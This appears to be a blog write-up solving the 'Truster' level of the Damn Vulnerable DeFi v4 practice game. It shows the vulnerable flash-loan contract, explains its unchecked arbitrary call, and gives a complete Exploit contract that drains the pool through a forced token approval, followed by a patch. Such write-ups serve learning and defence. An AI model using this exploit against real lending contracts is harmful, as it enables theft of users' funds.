Damn Vulnerable DeFi V4 - 03 Truster
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)

Challenge
More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account.
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable token;
error RepayFailed();
constructor(DamnValuableToken _token) {
token = _token;
}
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}
return true;
}
}
Solve
This contract looks quite simple, We only need to use a single transaction to drain the tokens held by TrusterLenderPool
contract and move them to the recovery
account.
function _isSolved() private view {
// Player must have executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
// All rescued funds sent to recovery account
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account");
}
Let’s analyze the code of the TrusterLenderPool
contract.
In the flashLoan(…)
function, TrusterLenderPool
contract takes a snapshot of its own token balance first, then optimistically transfers the loan to the borrower
address, then calls any function of the target
address (based on the value in data
), and finally compares it with the snapshot to check the target.functionCall(data)
whether there is actual repayment during the period.
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}
return true;
}
The vulnerability of this function is that target.functionCall(data)
does not restrict or verify the target
and data
. As a result, the function caller can call the function of any contract as TrusterLenderPool
, such as ERC20Token.approve(…)
.
Let’s summarize the attack steps:
Initiate a
TrusterLenderPool.flashLoan(…)
function call.The
target
argument must beDamnValuableToken
contract.The
data
must beapprove(spender=MY_EOA_WALLET, value=type(uint256).max)
Initiate a
DamnValuableToken.transferFrom(from=TrusterLenderPool, to=recovery, value=TOKENS_IN_POOL)
function call.
Full solution code:
function test_truster() public checkSolvedByPlayer {
new Exploit(token, pool, recovery, TOKENS_IN_POOL);
}
//============================================================
contract Exploit {
constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery, uint256 TOKENS_IN_POOL) {
uint256 amount = 1;
address borrower = address(pool);
address target = address(token);
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
pool.flashLoan(amount, borrower, target, data);
token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
}
}
Potential Patches
None, this level is just designed for fun.
If we want to break this game, we can add function argument validation logic in flashLoan(…)
function.
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
require(target != address(token), 'ERROR: Invalid target'); //@patch
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}
return true;
}
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣